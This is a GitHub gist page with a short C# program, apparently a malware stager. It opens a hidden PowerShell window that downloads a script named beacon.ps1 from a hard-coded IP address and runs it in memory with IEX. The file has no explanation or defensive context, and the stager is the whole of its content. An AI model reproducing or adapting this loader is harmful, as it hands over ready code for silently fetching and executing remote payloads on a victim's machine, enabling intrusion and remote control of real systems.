Skip to content

Instantly share code, notes, and snippets.

@peewpw
Created December 3, 2017 22:38
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 7 You must be signed in to fork a gist
  • Save peewpw/36c16d7441585c13844066b8fd330a51 to your computer and use it in GitHub Desktop.
Save peewpw/36c16d7441585c13844066b8fd330a51 to your computer and use it in GitHub Desktop.
using System;
using System.Diagnostics;
namespace peewpw
{
static class Program
{
[STAThread]
static void Main()
{
Process process = new Process();
process.StartInfo.FileName = "powershell.exe";
process.StartInfo.Arguments = "-c \"IEX((new-object net.webclient).downloadstring(\'http://10.7.254.230/beacon.ps1\'))\"";
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.Start();
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment